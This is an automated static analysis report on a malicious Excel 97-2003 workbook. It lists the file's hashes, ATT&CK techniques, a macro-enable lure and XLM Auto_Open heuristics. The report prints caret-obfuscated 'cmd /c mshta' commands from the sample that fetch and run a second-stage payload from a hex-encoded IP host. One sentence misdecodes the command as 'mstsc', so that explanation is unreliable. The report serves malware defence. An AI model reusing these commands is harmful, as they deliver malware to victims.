Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 86914f6fa2c716b8…

MALICIOUS

Office (OLE) / .XLS

64.0 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 6d0e68c625c1bd207e1f36fc4b4f160e SHA-1: fbb74d5879d687471dd1e5e7107a20c59d3e7dbf SHA-256: 86914f6fa2c716b8523b3c62658c9dd6facf2da62615ea325da534cbcf4f3e56
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic for Applications T1566.001 Phishing: Spearphishing Attachment T1059.001 Command and Scripting Interpreter: PowerShell

The sample uses a 'version conversion' lure in the document body to trick the user into enabling macros. The embedded Excel 4.0 (XLM) macros utilize an Auto_Open function to execute a shell command. Specifically, the script attempts to execute 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c.html' and 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', where the carets are used as escape characters to bypass simple string detection, reconstructing to 'cmd /c mstsc ///0xc12a24f5/c.html' or similar, but the same URLs are explicitly present in the strings. The script's intent is to download and execute a second-stage payload from the same host.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes

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